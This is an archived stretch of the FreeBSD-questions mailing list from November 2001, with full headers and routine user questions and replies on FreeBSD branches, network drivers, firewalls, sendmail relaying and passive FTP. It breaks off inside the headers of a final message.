<3BF63DB1.1070008@owt.com> <02a701c16f5e$a9cb0c70$0a00000a@atkielski.com> <020e01c16f42$14885c10$0a00000a@atkielski.com> <20011117015632.B87944@xor.obsecurity.org> <02a001c16f53$215323b0$0a00000a@atkielski.com> <3BF63DB1.1070008@owt.com> <20011118102106.C72712@monorchid.lemis.com> <3BF71585.6090104@owt.com> From: swear@blarg.net (Gary W. Swearingen) Date: 18 Nov 2001 21:56:12 -0800 In-Reply-To: <3BF71585.6090104@owt.com> Message-ID: <5jzo5j2tj7.o5j@localhost.localdomain> Lines: 7 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Could we do better quote editting, please? In that last message, we had to parse through over 200 lines of quoting to discover the poster only replied to the first few lines. I thank you. My eyes thank you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 22: 4:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by hub.freebsd.org (Postfix) with ESMTP id 0E05F37B41A for ; Sun, 18 Nov 2001 22:04:47 -0800 (PST) Received: from custcom (osprey.xs4all.nl [213.84.100.228]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with SMTP id fAJ64jdP031529 for ; Mon, 19 Nov 2001 07:04:45 +0100 (CET) Message-ID: <001901c170c0$ce2ef460$9600000a@custcom> From: "R. Hartman" To: References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> <20011119135936.S16195@monorchid.lemis.com> Subject: Re: Mysterious boot during the night Date: Mon, 19 Nov 2001 07:09:52 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG From the explanation below of STABLE it seems to me that this branch is = less reliable than RELEASE regardless of the fact that it includes bug = fixes. Especially the last two lines suggest to me that Matthew = Graybosch was right. From = http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/current-stable.= html: 19.2.2.1 What Is FreeBSD-STABLE? FreeBSD-STABLE is our development branch from which major releases are = made. Changes go into this branch at a different pace, and with the = general assumption that they have first gone into FreeBSD-CURRENT first = for testing. This is still a development branch, however, and this means = that at any given time, the sources for FreeBSD-STABLE may or may not be = suitable for any particular purpose. It is simply another engineering = development track, not a resource for end-users. Regards, Ronald Hartman ----- Original Message -----=20 From: "Greg Lehey" To: "Matthew Graybosch" Cc: "Anthony Atkielski" ; = Sent: Monday, November 19, 2001 04:29 Subject: Re: Mysterious boot during the night > On Sunday, 18 November 2001 at 22:02:30 -0500, Matthew Graybosch = wrote: > > On Sunday 18 November 2001 21:30, you wrote: > >> Okay, I'm not very clear on all these different versions of the > >> OS, and my snooping around the FreeBSD site did not greatly > >> enlighten me. > >> > >> Which version of the OS is the version that would be distributed, > >> say, on boxed CDs, like the version I initially bought at the > >> store? I presume from what I've read that -CURRENT is more > >> volatile than STABLE; how do both of these relate to RELEASE (if > >> there is such a thing--my system mentions RELEASE on the > >> screensaver). > > > > - -RELEASE is the FreeBSD you get on packaged CDs. You could = probably > > download ISOs of -STABLE and possibly -CURRENT, but those branches > > don't get packaged and sold. > > > > - -CURRENT is the development version of FreeBSD. Use if it you're a > > hacker or like to live on the edge. > > > > - -STABLE is the testing version, similar to Linux-Mandrake's = "Cooker" > > distro. You'd use if if you absolutely can't wait for the next > > official release. >=20 > No, as the name suggests, -STABLE is the most stable version. It's > -RELEASE with bug fixes. >=20 > > - -RELEASE is the branch considered "suitable for use in production > > environments" -- mission-critical servers, etc. >=20 > No, as the name suggests, -RELEASE is the version which gets released > on CD-ROMs. >=20 > Greg > -- > See complete headers for address and phone numbers >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 22:20:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cs.cmu.edu (CS.CMU.EDU [128.2.222.173]) by hub.freebsd.org (Postfix) with SMTP id F423D37B417 for ; Sun, 18 Nov 2001 22:20:48 -0800 (PST) Received: from PIPER.NECTAR.CS.CMU.EDU by cs.cmu.edu id aa23925; 19 Nov 2001 1:20 EST From: davide+freebsd@cs.cmu.edu To: FreeBSD-questions@freebsd.org Subject: ThinkPad install can't find ep(4) driver Reply-To: davide+freebsd@cs.cmu.edu MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <20879.1006150812.1@piper.nectar.cs.cmu.edu> Date: Mon, 19 Nov 2001 01:20:12 -0500 Message-ID: <20880.1006150812@piper.nectar.cs.cmu.edu> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am trying to install FreeBSD 4.4 on a ThinkPad 560X, using FTP via a 3Com Etherlink III (3C589). The device configures and works both on Windows (yuck) and a previous installation of FreeBSD 4.0 that I want to wipe out. My problem is that during the device configuration step I can't find the ep driver. 4.0 finds the card as ep0: <3Com Etherlink III 3C589> at port 0x240-24f irq 10 slot 0 on pccard0 Windows maps it as 0110-011F, IRQ 11 3Com's 3LINK-ID program says 3C589C IRQ 10 I/O Base 300 "optimized for OS/2 client" "max modem speed 9600" (huh?) ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/HARDWARE.TXT says that the 3C589 is supported by the ep driver. But when I boot up the installation floppies, and enter UserConfig, the only "Active" network devices are cs0, ed0, fe0, ie0, lnc0, and sn0. If I tab over to the Inactive side, there are no network devices listed. If I try again in CLI mode instead of visual mode, typing "enable ep0" yields "No such device: ep0", which agrees with the output of "ls". http://www.freebsd.org/relnotes/4-STABLE/hardware/i386/x1755.html says "A compressed version of the GENERIC kernel is also used on the installation floppy diskette and DOS boot image". Is it possible that this "compression" includes removing the ep driver? I browsed around freebsd.org for a while but was unable to find which config file matches the 4.4 install floppies (I saw "BOOTMFS" blink by, but it's not clear how to see a copy before installing FreeBSD and setting up cvsup--I would have expected to find it in http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/i386/conf/). Suggestions? Dave Eckhardt P.S. Places I looked before bugging you-all: http://www.freebsd.org/relnotes/4-STABLE/hardware/i386/x1755.html http://www.freebsd.org/releases/4.4R/hardware-i386.html http://www.FreeBSD.org/doc/en_US.ISO8859-1/articles/laptop/article.html ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/HARDWARE.TXT http://www.freebsd.org/releases/4.4R/errata.html http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/i386/conf/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 22:21:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from openrelay.msu.edu (openrelay.msu.edu [35.9.98.20]) by hub.freebsd.org (Postfix) with ESMTP id CBFF237B405 for ; Sun, 18 Nov 2001 22:21:13 -0800 (PST) Received: from works ([65.194.248.251]) by openrelay.msu.edu (8.11.1/8.11.1) with ESMTP id fAJ69dp87631 for ; Mon, 19 Nov 2001 01:09:40 -0500 (EST) (envelope-from raiden23@netzero.net) Message-Id: <4.2.0.58.20011119012553.00976500@pop.netzero.net> X-Sender: raiden23@pop.netzero.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Mon, 19 Nov 2001 01:27:27 -0500 To: freebsd-questions@FreeBSD.ORG From: Lord Raiden Subject: Redirector based on port/service Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Darned corporate consolidations. (sigh) Ok, got another one for you guys. I should probubly know this one, but I'm having a running brain fart today. Too much to do, too little time and too little staff. How do you setup a redirector using a BSD box so that if someone goes to your site and the site is, to use this figuratively, "services.mycompany.com" and the port is 80, it forwards the request off to the web server, 21 goes to the file server, 25 the smtp server, 110 the pop3 server, etc. The idea is since we're shrinking all of the available internal company "services" based servers in the noc to as few as possible to make room for what I consider to be non-sence machines, I'm looking at cutting the need for multiple redirectors to just one machine which then bounces the requests to the different servers based on port and service requested. Does anyone know the easiest way to do this? Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 22:45:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id BFC7237B405 for ; Sun, 18 Nov 2001 22:45:53 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAJ6jom54310; Mon, 19 Nov 2001 07:45:50 +0100 (CET) Message-ID: <00c201c170c5$d4222400$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "R. Hartman" , "FreeBSD Questions" References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> <20011119135936.S16195@monorchid.lemis.com> <001901c170c0$ce2ef460$9600000a@custcom> Subject: Re: Mysterious boot during the night Date: Mon, 19 Nov 2001 07:45:44 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It would seem, then, that I'm best off just sticking with RELEASE, no? ----- Original Message ----- From: "R. Hartman" To: Sent: Monday, November 19, 2001 07:09 Subject: Re: Mysterious boot during the night >From the explanation below of STABLE it seems to me that this branch is less reliable than RELEASE regardless of the fact that it includes bug fixes. Especially the last two lines suggest to me that Matthew Graybosch was right. >From http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/current-stable.html: 19.2.2.1 What Is FreeBSD-STABLE? FreeBSD-STABLE is our development branch from which major releases are made. Changes go into this branch at a different pace, and with the general assumption that they have first gone into FreeBSD-CURRENT first for testing. This is still a development branch, however, and this means that at any given time, the sources for FreeBSD-STABLE may or may not be suitable for any particular purpose. It is simply another engineering development track, not a resource for end-users. Regards, Ronald Hartman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 22:53:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by hub.freebsd.org (Postfix) with ESMTP id EA2F337B416 for ; Sun, 18 Nov 2001 22:53:21 -0800 (PST) Received: from trine (213-187-161-49.dd.nextgentel.com [213.187.161.49]) by mail.broadpark.no (Postfix) with ESMTP id CE8418A82 for ; Mon, 19 Nov 2001 07:52:07 +0100 (MET) From: "Kjell" To: freebsd-questions@FreeBSD.ORG Date: Mon, 19 Nov 2001 06:58:09 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Filtering email in firewall Reply-To: kjell@la3sg.net Message-ID: <3BF8AD82.17946.26BBCC@localhost> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG List Members! Is there a program I can run in my firewall to filter out viruses and undesirable mail? Regards from Kjell (LA3SG) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 22:58:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id 9F84337B416 for ; Sun, 18 Nov 2001 22:58:50 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Nov 2001 14:58:58 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340B9E@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Subject: Bug in 3Com XL driver? Date: Mon, 19 Nov 2001 14:58:55 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I've noticed that the 3Com XL (905B) card turns off at some point (erratic). How do I debug or catch more verbose error messages from the NIC? --- francis a. vidal [bitstop network services] streaming media + web services + keystone learning v(02)330-2871,(02)330-2872; f(02)330-2873 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 23:20: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hawk.prod.itd.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id B099537B416 for ; Sun, 18 Nov 2001 23:19:57 -0800 (PST) Received: from sdn-ar-008dcwashp096.dialsprint.net ([63.178.91.184] helo=moo.holy.cow) by hawk.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165iih-0000tT-00; Sun, 18 Nov 2001 23:19:57 -0800 Received: by moo.holy.cow (Postfix, from userid 1001) id 6EDAB50B85; Mon, 19 Nov 2001 02:19:57 -0500 (EST) Date: Mon, 19 Nov 2001 02:19:57 -0500 From: parv To: dochawk@psu.edu Cc: freebsd-questions@FreeBSD.ORG Subject: Re: mozilla does irrelevant search instead revisiting page Message-ID: <20011119021957.A9463@moo.holy.cow> Mail-Followup-To: dochawk@psu.edu, freebsd-questions@FreeBSD.ORG References: <200110172009.f9HK9AB81768@fac13.ds.psu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200110172009.f9HK9AB81768@fac13.ds.psu.edu>; from dochawk@psu.edu on Wed, Oct 17, 2001 at 04:09:10PM -0400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG in message <200110172009.f9HK9AB81768@fac13.ds.psu.edu>, wrote Richard E. Hawkins thusly... > > > I tried to give mozilla .9.4 a try. I even hacked the port to install > .9.5. I don't see how anybody manages to use this thing, though many > claim to do so as their primary browser. > > My homepage is www.personal.psu.edu/reh18. When I enter a url which I > have previously visited, mozilla usually loads www.personal.psu.edu > *instead* of the entered page. This happens in the url line, when I > use S-C-L, and frequently when I click on a link. > > Has anybody else seen this? Is there a workaround? Or is it just out > to get me??? ok, now that i have installed 0.9.5 version, i am getting the same symptoms. the only workaround i have found is to clear both memory and disk cache in "edit/preferences/advanced/cache". i have set both cache limits to be zero as "every time-compare-cache" setting didn't help. somehow i have a feeling that zero cache limit won't prove to be helpful either. of course, i am assuming that zero limit would mean "not to cache anything", a la netscape, not "cache until memory/disk fills". -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 23:39:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 7B90237B405 for ; Sun, 18 Nov 2001 23:39:13 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id JAA51453 for ; Mon, 19 Nov 2001 09:39:26 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "FreeBSD Question List" Subject: ? - /usr/obj contains symlink to /usr/src Date: Mon, 19 Nov 2001 09:44:09 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Is this a problem or not? I have had a few strange errors with my latest cvsup and make buildworld. I went browsing the tree in /usr/obj and found this: ---------------------------------------------------------------- root carrot:/usr/local/etc/cvsup# ls -al /usr/obj/usr/src/i386 total 3 drwxr-xr-x 3 root wheel 512 Nov 16 16:33 . drwxr-xr-x 3 root wheel 512 Nov 16 16:33 .. lrwxr-xr-x 1 root wheel 12 Nov 16 16:33 sys -> /usr/src/sys drwxr-xr-x 11 root wheel 512 Nov 16 16:33 usr ---------------------------------------------------------------- Is this correct? I thought the /usr/obj tree was supposed to be an independent temporary workspace in which the world is built before being installed. But this symlink makes me worry that some updates might pollute the live tree during building? Thanks, Patrick. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 23:42:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 4CCBE37B416 for ; Sun, 18 Nov 2001 23:42:40 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id JAA51543; Mon, 19 Nov 2001 09:42:39 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: Cc: "FreeBSD Question List" Subject: RE: Redirecting email to another account Date: Mon, 19 Nov 2001 09:47:21 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <09784044E77FD311B7B8009027B0D5DD4E7BBE@exaffairs.coserve.org> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Praveen, man aliases That's my preferred method. PS: Please put a good Subject line on your questions, like I did! :) Patrick. > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Praveen Bobba > Sent: 16 November 2001 23:11 > To: freebsd-questions@FreeBSD.ORG > Subject: > > > Hello, > > How to forward the root user email to another user > > Thank you > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 0: 3:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bps.jodocus.org (c115139.upc-c.chello.nl [212.187.115.139]) by hub.freebsd.org (Postfix) with ESMTP id 1BF6D37B418 for ; Mon, 19 Nov 2001 00:03:45 -0800 (PST) Received: (from joost@localhost) by bps.jodocus.org (8.11.3/8.11.3) id fAJ83dx72298; Mon, 19 Nov 2001 09:03:39 +0100 (CET) (envelope-from joost) Date: Mon, 19 Nov 2001 09:03:39 +0100 From: Joost Bekkers To: Andre` Niel Cameron Cc: free bsd Subject: Re: mail relaying Message-ID: <20011119090339.A72262@bps.jodocus.org> References: <022701c17091$64ae5500$a50410ac@olmct.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <022701c17091$64ae5500$a50410ac@olmct.net>; from AndreC@Axxs.net on Sun, Nov 18, 2001 at 07:30:30PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 07:30:30PM -0500, Andre` Niel Cameron wrote: > What file do I have to edit to add a domain to my relay list? just add the domain to /etc/mail/relay-domains (create the file if needed) and send a HUP to sendmail -- greetz Joost joost@jodocus.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 0:22:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f43.law3.hotmail.com [209.185.241.43]) by hub.freebsd.org (Postfix) with ESMTP id CE8CC37B416 for ; Mon, 19 Nov 2001 00:22:54 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 19 Nov 2001 00:22:54 -0800 Received: from 139.108.190.214 by lw3fd.law3.hotmail.msn.com with HTTP; Mon, 19 Nov 2001 08:22:54 GMT X-Originating-IP: [139.108.190.214] From: "Thor Legvold" To: dkelly@hiwaay.net Cc: freebsd-questions@freebsd.org Subject: Re: ipfw/natd & ftp - SUCCESS! Date: Mon, 19 Nov 2001 08:22:54 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 19 Nov 2001 08:22:54.0821 (UTC) FILETIME=[63398950:01C170D3] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Got it! I sat and read through my files and setup this weekend, and kept coming back to why FBSD ftp works when Windows/NextStep doesn't - they both have to traverse the same firewall, with the same rules, so it should either work or not work for all of them (assuming the ftp client is behaving in the same way). So I concluded that FBSD ftp was working differently than Windows and NextStep ftp. Went in again in the "advanced" setup of Explorer 5.5 and 6.0, lo and behold there was a "passive ftp" check box that I had checked previously, now was unchecked! Checked it off, restarted expolorer, and ftp works. Went into my NextStep ftp clients hoping to find a similar configuration variable, no luck. It seems they don't have passive options (might not have existed then, the software is from 1993-1996). The NextStep browser (OmniWeb) did have Passive ftp as an automatic settable default, so that worked as well (why it didn't work before is beyond me, I'm just glad it works now...). Thanks again for all the help, it made troubleshooting easier having a discussion forum to bounce ideas off of. My next question has to do with setup of mpd-netgraph (pptp), I'll send more in a separate posting. Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 0:27:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from slacknet.slacknet.com (slacknet.slacknet.com [204.228.135.180]) by hub.freebsd.org (Postfix) with ESMTP id AEFBC37B4CF for ; Mon, 19 Nov 2001 00:27:24 -0800 (PST) Received: from rj45 (helo=localhost) by slacknet.slacknet.com with local-esmtp (Exim 3.12 #1 (Debian)) id 165jm0-0002uo-00 for ; Mon, 19 Nov 2001 01:27:24 -0700 Date: Mon, 19 Nov 2001 01:27:24 -0700 (MST) From: RJ45 To: freebsd-questions@freebsd.org Subject: ipfilter + bridge Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I Wanted to ask if bridge between 2 NIC on FreeBSD allow ipfilter to being used over it. If I have 2 NICs one on the external bad internet and the other on My lan and I bridge between the 2 interface and I Want to use ipfilter to filter traffic between the 2 NICs, is it realiable does it work?? For some reason I need to use a bridge and I Cannot use different IP Addresses for the 2 NICs, I can't have a hidden internal LAN. I was used to do it with OpenBSD and it worked but I'd like to do it with FreeBSD. thanks Rick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 0:45:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from flu-smtp-01.datacomm.ch (smtp.datacomm.ch [212.40.5.52]) by hub.freebsd.org (Postfix) with ESMTP id 7083137B416 for ; Mon, 19 Nov 2001 00:45:35 -0800 (PST) Received: from delta9 (line-248-137-bern.tiscalinet.ch [212.254.248.137] (may be forged)) by flu-smtp-01.datacomm.ch (8.11.6/8.11.6) with ESMTP id fAJ8jXJ00432 for ; Mon, 19 Nov 2001 09:45:33 +0100 Message-ID: <200111190952550849.11D69CA6@smtp.tiscalinet.ch> X-Mailer: Calypso Version 3.30.00.00 (4) Date: Mon, 19 Nov 2001 09:52:55 +0100 From: "Gabriel Rossetti" To: freebsd-questions@freebsd.org Subject: is there badRAM in FreeBSD? Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====_100615997541=_" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --=====_100615997541=_ Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Hello, I would like to know if the badRAM linux option is also available on= FreeBSD or if there is an equivilant? Thank you, Gabriel --=====_100615997541=_ Content-Type: text/html; charset="us-ascii"
Hello,
    I would like to know if the badRAM linux option is also available on FreeBSD or if there is an equivilant?
 
Thank you,
        Gabriel
--=====_100615997541=_-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 0:50: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bps.jodocus.org (c115139.upc-c.chello.nl [212.187.115.139]) by hub.freebsd.org (Postfix) with ESMTP id 5FAD937B418 for ; Mon, 19 Nov 2001 00:50:00 -0800 (PST) Received: (from joost@localhost) by bps.jodocus.org (8.11.3/8.11.3) id fAJ8npX72448; Mon, 19 Nov 2001 09:49:51 +0100 (CET) (envelope-from joost) Date: Mon, 19 Nov 2001 09:49:50 +0100 From: Joost Bekkers To: RJ45 Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ipfilter + bridge Message-ID: <20011119094950.A72386@bps.jodocus.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from rj45@slacknet.com on Mon, Nov 19, 2001 at 01:27:24AM -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 01:27:24AM -0700, RJ45 wrote: > > > Hello, > I Wanted to ask if bridge between 2 NIC on FreeBSD allow ipfilter to being > used over it. If I have 2 NICs one on the external bad internet and the > other on My lan and I bridge between the 2 interface and I Want to use > ipfilter to filter traffic between the 2 NICs, is it realiable does it > work?? For some reason I need to use a bridge and I Cannot use different > IP Addresses for the 2 NICs, I can't have a hidden internal LAN. > I was used to do it with OpenBSD and it worked but I'd like to do it with > FreeBSD. > I don't know about ipfilter, but i know ipfw will work. Keep in mind though that it will only filter IP packets. All others will be passed unless you hack around that in the kernel. The man pages are wrong on this point. -- greetz Joost joost@jodocus.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 1:13:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from soda.csua.berkeley.edu (soda.CSUA.Berkeley.EDU [128.32.247.226]) by hub.freebsd.org (Postfix) with ESMTP id 2164C37B41A for ; Mon, 19 Nov 2001 01:13:06 -0800 (PST) Received: from localhost (mjm@localhost) by soda.csua.berkeley.edu (8.11.6/8.11.4) with ESMTP id fAJ9D5t03674; Mon, 19 Nov 2001 01:13:05 -0800 (PST) (envelope-from joup@bigfoot.com) X-Authentication-Warning: soda.csua.berkeley.edu: mjm owned process doing -bs Date: Mon, 19 Nov 2001 01:13:05 -0800 (PST) From: Mark Miller X-X-Sender: mjm@soda.csua.berkeley.edu To: Eric Anholt Cc: freebsd-questions@FreeBSD.ORG Subject: Re: getting the most out of OpenGL In-Reply-To: <200111141944.fAEJiB426655@gladstone.uoregon.edu> Message-ID: <20011119010308.C2017-100000@soda.csua.berkeley.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List 